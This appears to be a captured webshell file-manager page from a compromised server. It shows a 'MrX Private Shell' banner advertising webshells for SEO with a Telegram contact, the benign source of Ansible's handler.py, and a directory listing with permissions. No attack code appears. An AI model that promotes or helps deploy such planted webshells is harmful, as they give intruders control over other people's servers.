����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible.playbook.attribute import NonInheritableFieldAttribute
from ansible.playbook.task import Task
from ansible.module_utils.six import string_types
class Handler(Task):
listen = NonInheritableFieldAttribute(isa='list', default=list, listof=string_types, static=True)
def __init__(self, block=None, role=None, task_include=None):
self.notified_hosts = []
self.cached_name = False
super(Handler, self).__init__(block=block, role=role, task_include=task_include)
def __repr__(self):
''' returns a human readable representation of the handler '''
return "HANDLER: %s" % self.get_name()
@staticmethod
def load(data, block=None, role=None, task_include=None, variable_manager=None, loader=None):
t = Handler(block=block, role=role, task_include=task_include)
return t.load_data(data, variable_manager=variable_manager, loader=loader)
def notify_host(self, host):
if not self.is_host_notified(host):
self.notified_hosts.append(host)
return True
return False
def remove_host(self, host):
self.notified_hosts = [h for h in self.notified_hosts if h != host]
def is_host_notified(self, host):
return host in self.notified_hosts
def serialize(self):
result = super(Handler, self).serialize()
result['is_handler'] = True
return result
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| role | Folder | 0755 |
|
|
| __init__.py | File | 4.69 KB | 0644 |
|
| attribute.py | File | 7.58 KB | 0644 |
|
| base.py | File | 32.77 KB | 0644 |
|
| block.py | File | 16.39 KB | 0644 |
|
| collectionsearch.py | File | 2.59 KB | 0644 |
|
| conditional.py | File | 9.89 KB | 0644 |
|
| handler.py | File | 2.2 KB | 0644 |
|
| handler_task_include.py | File | 1.44 KB | 0644 |
|
| helpers.py | File | 16.35 KB | 0644 |
|
| included_file.py | File | 11.32 KB | 0644 |
|
| loop_control.py | File | 1.72 KB | 0644 |
|
| play.py | File | 15.35 KB | 0644 |
|
| play_context.py | File | 14.22 KB | 0644 |
|
| playbook_include.py | File | 7.39 KB | 0644 |
|
| role_include.py | File | 7.72 KB | 0644 |
|
| taggable.py | File | 3.09 KB | 0644 |
|
| task.py | File | 20.8 KB | 0644 |
|
| task_include.py | File | 5.9 KB | 0644 |
|